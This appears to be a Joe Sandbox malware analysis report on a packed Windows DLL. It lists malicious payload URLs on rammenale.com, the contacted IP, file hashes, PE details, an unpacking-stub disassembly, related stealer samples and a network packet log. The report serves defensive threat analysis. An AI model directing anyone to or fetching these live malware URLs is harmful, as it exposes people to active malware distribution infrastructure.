https://rammenale.com/for2/aclog.txt44	rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp&bt	rundll32.exe, 00000009.00000002.3369940309.0000000003500000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtP	rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.0000000008123000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpentfc	rundll32.exe, 00000009.00000002.3369940309.000000000357F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4G	rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp0s	rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpkbu	rundll32.exe, 00000009.00000002.3369940309.000000000350A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regM	rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp(f	rundll32.exe, 0000000D.00000002.3369386552.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpkJ	rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtf	rundll32.exe, 00000007.00000002.3369345966.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtd	rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpWJz	rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpsC:	loaddll32.exe, 00000000.00000002.2160947833.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt_	rundll32.exe, 0000000C.00000002.3369493253.00000000034F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4X	rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4W	rundll32.exe, 0000000C.00000002.3373542181.00000000091FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp6634-1003Vbt	rundll32.exe, 00000009.00000002.3373357071.0000000008F65000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt)	rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtent	rundll32.exe, 00000005.00000002.3369497741.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3369345966.0000000000C5F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp4$	rundll32.exe, 00000008.00000002.3374164503.0000000007B4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmp~	rundll32.exe, 0000000D.00000002.3369386552.0000000000AA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4P	rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4	rundll32.exe, 0000000C.00000002.3373542181.00000000091FC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009209000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt2	rundll32.exe, 00000005.00000002.3372854058.0000000008AF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmplS	rundll32.exe, 00000008.00000002.3369773765.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt4h	rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpp	rundll32.exe, 00000008.00000002.3374164503.0000000007AEC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008F65000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/for2/regit.tmpq	rundll32.exe, 00000009.00000002.3369940309.000000000350A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txt:	rundll32.exe, 00000005.00000002.3370723210.0000000003050000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3370922957.0000000003080000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3371348346.0000000003700000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpk	rundll32.exe, 00000009.00000002.3369940309.000000000350A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://rammenale.com/for2/aclog.txt9	rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpl	rundll32.exe, 00000008.00000002.3369773765.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpm	rundll32.exe, 00000008.00000002.3369773765.0000000000779000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpBJj	rundll32.exe, 0000000D.00000002.3369386552.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtF2	rundll32.exe, 00000005.00000002.3369497741.0000000000C9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclogDevice	rundll32.exe, 00000005.00000002.3372199010.0000000004FD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtC	rundll32.exe, 00000005.00000002.3369497741.0000000000D51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpz	rundll32.exe, 00000008.00000002.3374164503.0000000007B4C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008FB1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008F96000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008FCB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.000000000884C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008833000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/aclog.txtA	rundll32.exe, 00000007.00000002.3369345966.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpC:	rundll32.exe, 00000003.00000002.2132858298.0000000000BB0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2133337781.0000000000D60000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3369773765.00000000006C0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3369384121.0000000000500000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3369940309.0000000003500000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3369536080.00000000033A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3369313271.00000000009B0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3369386552.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rammenale.com/for2/regit.tmpu	rundll32.exe, 00000008.00000002.3369773765.0000000000779000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
131.153.206.231	rammenale.com	United States		19437	SS-ASHUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1500944
Start date and time:	2024-08-29 06:52:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LLD5HDX0PS.dll renamed because original name is a hash value
Original Sample Name:	4b74d5e09bca4898a782e938a8f9889b9ebadf8b0f14368bca90d9d0e68da472.dll
Detection:	MAL
Classification:	mal84.evad.winDLL@20/0@1/1
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 97% Number of executed functions: 15 Number of non-executed functions: 52
Cookbook Comments:	Found application associated with file extension: .dll

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target rundll32.exe, PID 2192 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 4988 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 5960 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:53:01	API Interceptor	2x Sleep call for process: rundll32.exe modified
00:53:04	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
131.153.206.231	Dll1.dll	Get hash	malicious	Unknown	Browse
131.153.206.231	Dll1.dll	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
rammenale.com	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
rammenale.com	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SS-ASHUS	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	https://blockchainsolution.netlify.app/	Get hash	malicious	Unknown	Browse	131.153.206.100
	http://blockdag-network-rectification.pages.dev/wallet/inputs.html/js/aes.js	Get hash	malicious	Unknown	Browse	131.153.206.103
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	131.153.100.38
	Bank Slip.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	131.153.147.106
	Fatura20240617.exe	Get hash	malicious	FormBook	Browse	131.153.148.82
	0tkRwEewXq.exe	Get hash	malicious	FormBook	Browse	131.153.170.234
	CMgd5ZVG2N.elf	Get hash	malicious	Unknown	Browse	209.100.21.94
	CMV610942X6UI.exe	Get hash	malicious	FormBook	Browse	131.153.148.82

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	rSHIPMENT_DOCMSS24071327.exe	Get hash	malicious	FormBook, GuLoader	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	131.153.206.231
	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	Dll1.dll	Get hash	malicious	Unknown	Browse	131.153.206.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	131.153.206.231
	x64_installer__v4.5.6.msi	Get hash	malicious	Unknown	Browse	131.153.206.231
	Ad#U043ebe_Activator.exe	Get hash	malicious	LummaC	Browse	131.153.206.231
	file.exe	Get hash	malicious	Meduza Stealer	Browse	131.153.206.231

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.869173036924203
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 96.66% UPX compressed Win32 Executable (30571/9) 2.95% Generic Win/DOS Executable (2004/3) 0.19% DOS Executable Generic (2002/1) 0.19% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	LLD5HDX0PS.dll
File size:	77'312 bytes
MD5:	030a68e321dec0e77b4698fccc5d54db
SHA1:	7b792a49fe27a298343ba26db8cac5ccb150ff89
SHA256:	4b74d5e09bca4898a782e938a8f9889b9ebadf8b0f14368bca90d9d0e68da472
SHA512:	e6be981690a90fdba8ec35b426a0b4c9617f13ae91d8a93a7e2acec906b23ac46436649d1980bd805937676e7efb6b0d8d9a2b925202e1c1aff4f01e0e6b8a4c
SSDEEP:	1536:NZ1aEkcCXLqDnRoTMWGuddGlCK1/hCE+pg0OoiKz25Rc5KQ:X1IXLqrRogCK1VTQK5RcIQ
TLSH:	7C7302EA912B60F3E71462F4608BE376310EEDE0A03DD5C11F6AF487DE9758169847B2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\K...........SR.....SR.....SR.....SR........{................SR.........>..u......u......u......u......Rich..

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x1002d240
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x65C149B1 [Mon Feb 5 20:48:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	0e4a2d076bfe5641392f761be41a5939

Entrypoint Preview

Instruction
cmp byte ptr [esp+08h], 00000001h
jne 00007F6E2C8DE578h
pushad
mov esi, 1001B000h
lea edi, dword ptr [esi-0001A000h]
push edi
jmp 00007F6E2C8DE3C2h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F6E2C8DE3B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F6E2C8DE39Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F6E2C8DE3B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F6E2C8DE3A1h
jne 00007F6E2C8DE3BBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F6E2C8DE396h
xor ecx, ecx
sub eax, 03h
jc 00007F6E2C8DE3BFh
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F6E2C8DE426h
mov ebp, eax
add ebx, ebx
jne 00007F6E2C8DE3B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 00007F6E2C8DE3B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jne 00007F6E2C8DE3D2h
inc ecx
add ebx, ebx
jne 00007F6E2C8DE3B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F6E2C8DE3A1h
jne 00007F6E2C8DE3BBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F6E2C8DE396h
add ecx, 02h
cmp ebp, FFFFF300h
adc ecx, 01h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007F6E2C8DE3C1h
mov al, byte ptr [edx]
inc edx
mov byte ptr [edi], al
inc edi
dec ecx
jne 00007F6E2C8DE3A9h
jmp 00007F6E2C8DE318h
nop
mov eax, dword ptr [edx]
add edx, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2e280	0x50	.rsrc
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e1ac	0xd4	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e2d0	0x14	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2d414	0xc0	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x1a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x1b000	0x13000	0x12600	4350757fa27457564ee454ba47f08942	False	0.9846274447278912	data	7.906342711948234	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e000	0x1000	0x400	21f64ab7d3b70b498bd044741208f902	False	0.4462890625	data	4.003532246262853	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x2e05c	0x14e	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.6407185628742516

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect
ole32.dll	CoInitialize
OLEAUT32.dll	SysAllocString

Exports

Name	Ordinal	Address
mydllmain	1	0x10001026

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 06:53:04.206228971 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.206279993 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.206345081 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.213408947 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.213459969 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.213627100 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.229774952 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.229793072 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.234787941 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.234816074 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.234895945 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.250786066 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.250802040 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.255534887 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.255549908 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.255630970 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.301243067 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.301259041 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.301644087 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.301659107 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.447426081 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.447459936 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.447563887 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.455698967 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.455713987 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.459203959 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.459230900 CEST	443	49717	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:04.459283113 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.470041037 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:04.470057011 CEST	443	49717	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.154149055 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.154231071 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.173603058 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.173698902 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.213768959 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.213835001 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.225811005 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.225889921 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.402849913 CEST	443	49717	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.402919054 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.418426037 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.418512106 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.467086077 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.467106104 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.467355967 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.467438936 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.470946074 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.476067066 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.476082087 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.476280928 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.476337910 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.477468014 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.477488041 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.477845907 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.477901936 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.477957964 CEST	49716	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.479577065 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.507529974 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.507543087 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.508647919 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.508723021 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.510802031 CEST	49714	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.516496897 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.520499945 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.524494886 CEST	443	49716	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.526310921 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.526323080 CEST	443	49717	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.526578903 CEST	443	49717	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.526628971 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.529030085 CEST	49717	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.552506924 CEST	443	49714	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.557682037 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.557697058 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.557965994 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.558012009 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.559623957 CEST	49713	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.572508097 CEST	443	49717	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.604494095 CEST	443	49713	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.807389975 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.807445049 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.807465076 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.807502985 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.807540894 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.807590961 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.807631969 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.808008909 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.808008909 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.808026075 CEST	443	49712	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.808176994 CEST	49712	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.811115026 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.811170101 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.811177969 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.811220884 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.811233997 CEST	443	49715	131.153.206.231	192.168.2.6
Aug 29, 2024 06:53:05.811270952 CEST	49715	443	192.168.2.6	131.153.206.231
Aug 29, 2024 06:53:05.811275959 CEST	443	49715	131.153.206.231	192.168.2.6
